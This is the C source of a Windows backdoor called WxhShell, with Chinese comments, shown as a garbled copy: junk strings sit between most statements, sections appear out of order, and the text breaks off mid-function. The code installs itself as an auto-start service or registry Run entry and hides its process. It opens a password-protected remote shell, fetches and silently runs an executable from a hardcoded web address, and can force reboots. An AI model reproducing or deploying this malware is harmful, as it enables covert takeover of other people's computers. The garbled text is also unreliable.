&/_{T g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W:O p\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5.QY{+k NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j5rMY=|F >FqU=Q if (!NtQueryInformationProcess) return 0; L#\5)mO.v *s|'V+1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @x_0AkZU if(!hProcess) return 0; 5 TLE%#G@+ _,3%)sn-) if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n2Ew0- )oy+-1dE CloseHandle(hProcess); C0CJ; D+{&zo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )C0d*T0i if(hProcess==NULL) return 0; I/go$@E" >tm4Rg~y HMODULE hMod; Av!xI char procName[255]; m|Sf'5fK unsigned long cbNeeded; Y)D F.ca( L9d|7.b if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -?NAA]P5c@ Ugme>60`'k CloseHandle(hProcess); .TNGiUzG f(
<O~D if(strstr(procName,"services")) return 1; // 以服务启动 -#,4rN# YI2x*t! return 0; // 注册表启动 ?Cv([ ^Y.u } uzIM?.H ;9'] na // 主模块 u-*z#e_L0 int StartWxhshell(LPSTR lpCmdLine) S}qGf%
{ $.4N@=s,?c SOCKET wsl; kt+h\^g BOOL val=TRUE; (6&"(}Pai int port=0; eo^C[#
. struct sockaddr_in door; ua,!kyS zF(abQ0 if(wscfg.ws_autoins) Install(); v>_83P` }:(;mW8
D port=atoi(lpCmdLine); yw{r:fy *E+VcU if(port<=0) port=wscfg.ws_port; O+]'*~a H3( @Q^9 WSADATA data; k106fT]eX if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x<PJ5G L D;[%*q* if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; U5p 3b; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @mb' !r door.sin_family = AF_INET; W)8Pq9Hnv door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4vV\vXT * door.sin_port = htons(port); ElK Md Q7\j:. if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <k{_YRB closesocket(wsl); N:~4>p44[ return 1; Q{CRy-ha } +.zX?} |(CgX6 l3 if(listen(wsl,2) == INVALID_SOCKET) { f,ZJFb98 closesocket(wsl); 4*HBCzr7[ return 1; + WT?p] } 9Ais)Wy%p Wxhshell(wsl); *X^C+F WSACleanup(); _&S;*?K. Rtlc&Q.b return 0; mP's4 NE4]i } DuLl"w\_@ YFW/
Fa\7 // 以NT服务方式启动 'p@m`)Z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zGy+jeH:. { i:jns>E DWORD status = 0; db&!t!#, DWORD specificError = 0xfffffff; FR>[g`1 yYSoJqj
Q serviceStatus.dwServiceType = SERVICE_WIN32; GVfRy@7n serviceStatus.dwCurrentState = SERVICE_START_PENDING; \U##b~Z,g serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vU(fd!V ? serviceStatus.dwWin32ExitCode = 0; m/,80J8L+f serviceStatus.dwServiceSpecificExitCode = 0; cI/}rZ+ serviceStatus.dwCheckPoint = 0; 57O|e/2 serviceStatus.dwWaitHint = 0; 3Tp8t6*nL ]9c{qm}y hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c
*<m. if (hServiceStatusHandle==0) return; {Ppb ; fjY:u,5V_ status = GetLastError(); !6a;/ys if (status!=NO_ERROR) _dW#[TCF { lCBH3-0^ serviceStatus.dwCurrentState = SERVICE_STOPPED;
V<?0(esgR serviceStatus.dwCheckPoint = 0; J3e'?3w[ serviceStatus.dwWaitHint = 0; h:sf?X[ serviceStatus.dwWin32ExitCode = status; g"kET]KP" serviceStatus.dwServiceSpecificExitCode = specificError; *ae)<l3v SetServiceStatus(hServiceStatusHandle, &serviceStatus); f(5;Rf( return; ] SLeWs } YB!f =_8 ;C=V- r serviceStatus.dwCurrentState = SERVICE_RUNNING; teC/Uf5 serviceStatus.dwCheckPoint = 0; XBB>" serviceStatus.dwWaitHint = 0; BPm")DMo if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4'`H H } g9NE>n(3 wy{sS} // 处理NT服务事件,比如:启动、停止 ZS=;) VOID WINAPI NTServiceHandler(DWORD fdwControl) Qr7|;l3 { BUV4L5( switch(fdwControl) f8V
)nM+v" { [>\e@ = case SERVICE_CONTROL_STOP: <a&xhG} serviceStatus.dwWin32ExitCode = 0; :(.:bf serviceStatus.dwCurrentState = SERVICE_STOPPED; _n{_\/A6f serviceStatus.dwCheckPoint = 0; ksOc,4A serviceStatus.dwWaitHint = 0; B&y?Dc { cIa`pU,6A SetServiceStatus(hServiceStatusHandle, &serviceStatus); TTbJ9O<43 } U2tgBF?)A return; mAY/J0_ case SERVICE_CONTROL_PAUSE: 0>D*d'xLd serviceStatus.dwCurrentState = SERVICE_PAUSED; qn{4AWmJ break; (w\|yPBB case SERVICE_CONTROL_CONTINUE: (FZ8T39 serviceStatus.dwCurrentState = SERVICE_RUNNING; M?Q\
Hw break; 3)9e-@ case SERVICE_CONTROL_INTERROGATE: -3wid1SOm break; ;l<Hen* }; m7RyFnR2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ktvs*.? } +JY8"a97> +2}Ar<elP // 标准应用程序主函数 L; A#N9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DMs8B&Y= { m=v.<+> SG&H^V8 // 获取操作系统版本 k6GQH@y! OsIsNt=GetOsVer(); /v|b]Ji GetModuleFileName(NULL,ExeFile,MAX_PATH); HZS.%+2 ~m0=YAlk? // 从命令行安装 =CS$c? if(strpbrk(lpCmdLine,"iI")) Install(); nD>X?yz2 6 OvH"/X4 // 下载执行文件 ZCb@!V}= if(wscfg.ws_downexe) { ;~WoJlEK3 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9&<c)sS&B WinExec(wscfg.ws_filenam,SW_HIDE); (^sb('" } *UJB*r +l!.<:sp if(!OsIsNt) { ) te_ <W // 如果时win9x,隐藏进程并且设置为注册表启动 NwQ$gDgu t HideProc(); K|6}g7&X StartWxhshell(lpCmdLine); {ehYE ^%N } S$R=!3* "V else fIatp if(StartFromService()) hp}rCy|01 // 以服务方式启动 'd;aAG StartServiceCtrlDispatcher(DispatchTable); I\rjw$V# else 3/&
|Z<f // 普通方式启动 Vhb~kI!x StartWxhshell(lpCmdLine); @y0kX<M h"}F3E return 0; 3W.D^^)eCV } `ZP[-: ` 99]s/KD2yb NcX-*o >qGWDCKr =========================================== 36.mf_AM 73tjDO7d -~lrv#5Q 6Q+VW_~ akHQ&+[j |c-`XC2g " p!?7; ]x3 )OjH #include <stdio.h> 9{A*[.XK] #include <string.h> 6G-XZko~a #include <windows.h> hKsx7`[ #include <winsock2.h> @OHNz!Lj:d #include <winsvc.h> +l7Bu} _? #include <urlmon.h> +s [_
4 MzlE #pragma comment (lib, "Ws2_32.lib") TFhYu #pragma comment (lib, "urlmon.lib") (m.jC}J D6e<1W #define MAX_USER 100 // 最大客户端连接数 +,D82V7S #define BUF_SOCK 200 // sock buffer +ZBj_Vw*| #define KEY_BUFF 255 // 输入 buffer :X*uE^bH F{}:e QD
#define REBOOT 0 // 重启 `0{qfms #define SHUTDOWN 1 // 关机 o
i~,}E_ X<1ymb3 #define DEF_PORT 5000 // 监听端口 ~i}/ Ww{-(Ktx #define REG_LEN 16 // 注册表键长度 2"Y=*s #define SVC_LEN 80 // NT服务名长度 lw4#C`bx A{') // 从dll定义API Mq6_Q07 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _b=})** typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V<REcII. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W*4!A\K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D[Ld=e8t D,uT#P // wxhshell配置信息 \l 3M\$oS> struct WSCFG {
"M]`>eixL int ws_port; // 监听端口 jqoU;u` char ws_passstr[REG_LEN]; // 口令 ?
5hwz int ws_autoins; // 安装标记, 1=yes 0=no } x'o`GuUf char ws_regname[REG_LEN]; // 注册表键名 A?c?(~9O char ws_svcname[REG_LEN]; // 服务名 H329P*P char ws_svcdisp[SVC_LEN]; // 服务显示名 1+Y;
"tT char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fd9Z7C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v/wR)9 int ws_downexe; // 下载执行标记, 1=yes 0=no q.lh char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NMP*q
@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;!>>C0s" `P9%[8`C 9 }; VU|Cct&) 5d82M s // default Wxhshell configuration E__A1j*gd struct WSCFG wscfg={DEF_PORT, >[g'i+{ "xuhuanlingzhe", 5{8,+
Z 1, DRi/< "Wxhshell", SCMZ-^b "Wxhshell", HM\gOz "WxhShell Service", * (<3 oIRS "Wrsky Windows CmdShell Service", #.\X%! "Please Input Your Password: ", kc:2ID& 1, ^KFwO=I@PV "http://www.wrsky.com/wxhshell.exe", {pB9T3ry] "Wxhshell.exe" 885
,3AdA }; /ec~^S8X /?QBMI // 消息定义模块 h'G8@j; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MT@Uu char *msg_ws_prompt="\n\r? for help\n\r#>"; &,`P%a&k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k$} 6Qd char *msg_ws_ext="\n\rExit."; ::kpAE] char *msg_ws_end="\n\rQuit."; zX/9^+p: char *msg_ws_boot="\n\rReboot..."; rhvsd2zi char *msg_ws_poff="\n\rShutdown..."; y<5xlN(+v char *msg_ws_down="\n\rSave to "; L"!BN/i_ ZCVN+::Y char *msg_ws_err="\n\rErr!"; 'GcZxF0 char *msg_ws_ok="\n\rOK!"; x;*KRO O8ZHIs char ExeFile[MAX_PATH]; J&6]3x int nUser = 0; -vC?bumR% HANDLE handles[MAX_USER]; ~UJ_Rr54 int OsIsNt; %G s!oD `_v|O{DC{ SERVICE_STATUS serviceStatus; #65Uei|F`+ SERVICE_STATUS_HANDLE hServiceStatusHandle; sxLq'3( "2bCq]I0 // 函数声明 ]={{$}8. int Install(void); 8~|PZ,oZ int Uninstall(void); dGzZ_Vf int DownloadFile(char *sURL, SOCKET wsh); <tg>1,C int Boot(int flag); _#+~#U%5n void HideProc(void); 5q?ZuAAA int GetOsVer(void); b=+'i int Wxhshell(SOCKET wsl); ?o9g5Z void TalkWithClient(void *cs); *^u5?{$l( int CmdShell(SOCKET sock); Kq;Yb& int StartFromService(void); FiqcM-Af4 int StartWxhshell(LPSTR lpCmdLine); R{hKl#j;> f+huhJS5e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qyuU VOID WINAPI NTServiceHandler( DWORD fdwControl ); `=Hh5;ep y85/qg)H^ // 数据结构和表定义 #SRGVa`x SERVICE_TABLE_ENTRY DispatchTable[] = ZOG6 { ]f q.r {wscfg.ws_svcname, NTServiceMain}, j{9sn,<: {NULL, NULL} S0Y$$r }; u#Qd`@p Ro?aDrQ // 自我安装 S:Ne g!` int Install(void) FXOA1VEg { l7P~_X_)" char svExeFile[MAX_PATH]; fNx3\<~V= HKEY key; X] &Q^ strcpy(svExeFile,ExeFile); m>'sM1s fgP_NYfOj // 如果是win9x系统,修改注册表设为自启动 tq^H) if(!OsIsNt) { T?c:z?j_9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >_]j{}~\k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vd9><W RegCloseKey(key); Uok?FEN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lM5Xw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =?3D:k7z RegCloseKey(key); t3b%f`D return 0; N$H0o+9-Y } AjK'P<:/ } g#1_`gK } 0p_/eWww- else { nj~1y') C_Y^< // 如果是NT以上系统,安装为系统服务 ^~2GhveBV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0t1WvW if (schSCManager!=0) )sVz;rF< { 5/Q^p" SC_HANDLE schService = CreateService <ok/2v ( ,&!Txyye schSCManager, n9Z|69W6> wscfg.ws_svcname, ^e>`ob wscfg.ws_svcdisp, ]v3 9ag_hu SERVICE_ALL_ACCESS, jYRwtP\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #!KbqRt SERVICE_AUTO_START, .Kr?vD^nG SERVICE_ERROR_NORMAL, v*1UNXU\ svExeFile, >9(lFh0P NULL, [C)-=.Xx)j NULL, Be+vC=\K NULL, d:6?miMH]t NULL, g#;w)- Zj NULL l-"$a8jn2 ); E[>4b7{g: if (schService!=0) ewSFB <
N { T"XP`gk CloseServiceHandle(schService); G_g~-[O CloseServiceHandle(schSCManager); J
A ]s strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #n7uw strcat(svExeFile,wscfg.ws_svcname); INsc!xOQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e;56}w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h84}lxT^] RegCloseKey(key); ^PfFW return 0; [Zk|s9 } PWOV~`^; } z1?7}9~`0c CloseServiceHandle(schSCManager); 6';'pHqe } Pm6/sO } wGE:U` Aq}]{gfQ1 return 1; _mKO4Atw } S,EXc^A7 it!8+hvq9* // 自我卸载 16[>af0<g int Uninstall(void) 0 }k[s+^ { ig]*Z HKEY key; 7$+n"Cfm 'Uew(o if(!OsIsNt) {
(CS"s+y1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &""~Pn8 RegDeleteValue(key,wscfg.ws_regname); K.n #;| RegCloseKey(key); L{;q ^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qCn(~: RegDeleteValue(key,wscfg.ws_regname); I3D8xl>P\ RegCloseKey(key); E%
Ce/n return 0; nk]jIRy^T } Z+@" } 2P~zYdjS } M;={] w@n else { b2.
xJ4 ]L%qfy4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z@^l1)m if (schSCManager!=0) 0m6Vf
x { Ps(3X@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CE:TQzg if (schService!=0) *[(O&L&0 { fP%hr gL if(DeleteService(schService)!=0) { >Qz#;HI CloseServiceHandle(schService); $ckX H,l_ CloseServiceHandle(schSCManager); 9 W><m[O return 0; 7\'vSHIL } @;M( oFS9 CloseServiceHandle(schService); 3Ln~"HwP } V=
U= CloseServiceHandle(schSCManager); a;D{P`%n } ~sshhuF } /cUcfe#X :f?\ mVS+ return 1; mdR:XuRD"t } |S|0'C* ~T9%%W[ // 从指定url下载文件 R$4&>VBu int DownloadFile(char *sURL, SOCKET wsh) E$; =*0w { oJbD|m HRESULT hr; MbC7`Sp&i char seps[]= "/"; W~k"`g7uu char *token; }x`W+r char *file; 2Otd char myURL[MAX_PATH]; }:7'C. ." char myFILE[MAX_PATH]; ttuQ,SD /<vbv strcpy(myURL,sURL); q
[Rqy !, token=strtok(myURL,seps); bv$_t)Xh while(token!=NULL) DcE)6z# { VG^*?62 file=token; oE[wOq+ token=strtok(NULL,seps); vF0#] } 4=td}% ;3OQgKI GetCurrentDirectory(MAX_PATH,myFILE); 'Ar+k\.J strcat(myFILE, "\\"); E1usxF) strcat(myFILE, file); xV[X#.3 send(wsh,myFILE,strlen(myFILE),0); F0W4B send(wsh,"...",3,0); :#1{c^i%3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0]?} kY if(hr==S_OK) ~+}w>jIm{| return 0; l5QH8eNwME else A94ZG: return 1; 5drc8_fZ DW&%"$2 } c[J(H,mt/ W~(@*H // 系统电源模块 ;=
^kTb`X int Boot(int flag) GOuBNaU{ { cih@:=Qy HANDLE hToken; u:AKp<' TOKEN_PRIVILEGES tkp; ;[TC`DuNj0 iq2)oC_ if(OsIsNt) { @TF^6)4f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !D6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @zo}#.g tkp.PrivilegeCount = 1; C4wJSQl_I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tlc3l}B*Z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !=%0 if(flag==REBOOT) { s+IU%y/9$a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^Z1t'-xZ return 0; QP/%+[E. } h!.#r*vV else { !wP|t#Sc9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !lQGoXQ'4 return 0;
QcQQQM } -(*<2Hy4 } gwVfiXR4 else { Axp#8 if(flag==REBOOT) { XRoMD6qf; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vxuxfi8x return 0; qYpuo
D } 4Uz1~AuNxb else { Pf,S`Uw; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bz5",8Mn return 0; 70pt5O3] } [4qCW{x._ } &"X6s%ZH| F>N3GPRl return 1; },1**_#<Br } X^2 04K%: _<Hx1l~ // win9x进程隐藏模块 r=57,P(:Ca void HideProc(void) [t)omPy<c { ]LGp3)T- gFO|)I N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -^A=U7 if ( hKernel != NULL ) n0nf;E { 6@0
wKV!D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O<}^`4d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gkxEy5c[ FreeLibrary(hKernel); oL?[9aww } `D2wlyqO6 5<0d2bK$ return; oECM1'=Bf } X`,4pSQ; _-NS-E // 获取操作系统版本 TWv${m zE int GetOsVer(void) TF\<`}akX { >)Ih[0~M OSVERSIONINFO winfo; 8mjP2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s3G\L<~mB GetVersionEx(&winfo); WZ.d"EE" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @G/':N return 1; doR'E=Z4h else &&1q@m,cP return 0; ^iaeY
jI } *%0f^~!G<p ETu7G5? // 客户端句柄模块 ;bt@wgY int Wxhshell(SOCKET wsl) \L#BAB6z { YK#
QH"} SOCKET wsh; JOj\#!\>k0 struct sockaddr_in client; Q37VhScs DWORD myID; cz_4cMgxu DSwF
} while(nUser<MAX_USER) b0a'Y"oef4 { Q*TxjE7K
int nSize=sizeof(client); D3^[OHi~a wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h;vD"!gP if(wsh==INVALID_SOCKET) return 1; ?Az pb}# (vIrXF5Dnj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I3Sl>e(Z if(handles[nUser]==0) y)3( closesocket(wsh); MDkIaz\U else }9C5U>? nUser++; "X']_:F1a } Ow\9vf6H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >l$vu-k)~4 ~L(_q] return 0; c ;3bX6RD* } PN:8H> /p,D01Ws}( // 关闭 socket 3)f=Z2U> void CloseIt(SOCKET wsh) (PYUfiOf { LvpHR#K)F5 closesocket(wsh); T0_9:I`& nUser--; wAHb5>! ExitThread(0); syh0E=If_ } |-7<?aw" oB[3?e // 客户端请求句柄 <$.KCLP void TalkWithClient(void *cs) 4Uz:zB { #e%.z+7I aMTY{ SOCKET wsh=(SOCKET)cs; ]P0DPea char pwd[SVC_LEN]; C#r_qn char cmd[KEY_BUFF]; *f8,R"]-g char chr[1]; C!w@Naj int i,j; T4
SByX9 "xdJ9Z-B while (nUser < MAX_USER) { xsRMF&8L /3%]Ggwe if(wscfg.ws_passstr) { /2u;w!oi. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v\Y;)/! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '$)Wp_ //ZeroMemory(pwd,KEY_BUFF); mxHNK4/ i=0; _}]o~ while(i<SVC_LEN) { ZP)=2'RY dh/:H/k kR // 设置超时 (Cp:NS fd_set FdRead; M
O5fu! struct timeval TimeOut; K! /E0G& FD_ZERO(&FdRead); ./<3jf : FD_SET(wsh,&FdRead); F dv&kK! TimeOut.tv_sec=8; whKr3) TimeOut.tv_usec=0; P7\(D` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kSNVI-Wzu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); se_zCS4Y ^F?H)[0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _0F6mg n pwd=chr[0]; IJ,,aCj4g if(chr[0]==0xd || chr[0]==0xa) { B^Ql[m&5+ pwd=0; ?p5RSt break; u\qyh9s } -lL*WA` i++; dab>@z4 } },a|WL3^ `M>{43dj // 如果是非法用户,关闭 socket H@IX$+;z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n 2#uH } ~73"AWlp #`"' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *ep!gT*4 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^e>v{AE% Q\=u2}/z0 while(1) { ( kp}mSw >\DXA)nc ZeroMemory(cmd,KEY_BUFF); qUtVqS XQ(`8Jl&^ // 自动支持客户端 telnet标准 rvE!Q=y~ j=0; >^J!Z~;L) while(j<KEY_BUFF) { lYw A5|+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <Mc:Cg8> cmd[j]=chr[0]; *7*g!
km if(chr[0]==0xa || chr[0]==0xd) { \f66ipZK* cmd[j]=0; ip5s'S~ break; 6\o.wq } tu!u9jVv j++; 56<LMY|d } kj0A%q#'} 3SIB #"9 // 下载文件 q=?"0i&V if(strstr(cmd,"http://")) { 6C]!>i}U send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tao lX*$5 if(DownloadFile(cmd,wsh)) _ux6SIyp` send(wsh,msg_ws_err,strlen(msg_ws_err),0); #gN{8Yk> else ]Vwky]d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 609=o+ } %Vt@7SwRJ else { t1Jz?Ix6% M3z7P.\G switch(cmd[0]) { ;?:,L >a4Bfnf"eI // 帮助 zV80r+y case '?': { T@Q<oNU send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B!tte) break; p>}N9v;Bo } gwqK`ww // 安装 +mxYz#reX case 'i': { 0N
T3 if(Install()) ONfJ"Rp3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); +$
-#V else e@,L~\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fGe{7p6XV* break; t!i F(R\ } dJ&s/Z/>E // 卸载 8v6rS-iHP case 'r': { PRah?|*0s if(Uninstall()) ?=4t~\g? send(wsh,msg_ws_err,strlen(msg_ws_err),0); &YMVoyVD
else
Y-{spTI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WI~%n
break; /gdo~ } $OhL
95}7 // 显示 wxhshell 所在路径 <%Rr-, case 'p': { Fh/C{cX9g char svExeFile[MAX_PATH]; =H?Nb:s strcpy(svExeFile,"\n\r"); G?_,( strcat(svExeFile,ExeFile); 5g5pzww send(wsh,svExeFile,strlen(svExeFile),0); ,pG63&?j break; '#Fh
J%x } U92hv~\ // 重启 w`v\/a_ case 'b': { AdYQhF## send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |$w-}$jq5 if(Boot(REBOOT)) HZ}'W<N send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Z5#;rgem else { U D(#u3z closesocket(wsh); `dNb%f> ExitThread(0); 7>mYD3 } *Xnq1_K} break; UCWU|r<s, } ropiyT9; // 关机 F>Oh)VL,Ev case 'd': { ~VGK#'X: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cwh;+3?C| if(Boot(SHUTDOWN)) [*<&]^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); VA%i_P, else { 0q;] ;m closesocket(wsh); 7U7 i2 4 ExitThread(0); t8+93,*B } E,$uNw '] break; &tOD } g !8lW // 获取shell yLX#:
nm case 's': { .WPqK>79| CmdShell(wsh); Bx)&MYY}[[ closesocket(wsh); 4%7*tVG ExitThread(0); y$"L`*W break; =+L>^w#6= } R{B~No w3 // 退出 U,S286 case 'x': {
p[GyQ2k) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <am7t[G." CloseIt(wsh); KAzRFX), break; TDGzXJf[ } `ouzeu9} // 离开 c2f$:XiM case 'q': { &40]sxm send(wsh,msg_ws_end,strlen(msg_ws_end),0); b#U%aPH closesocket(wsh); /km3L7L%R WSACleanup(); *X-$*
~J0 exit(1); ;CZcY] ol break; BYf"l8^, } 7EXmmB~>, } /{va< |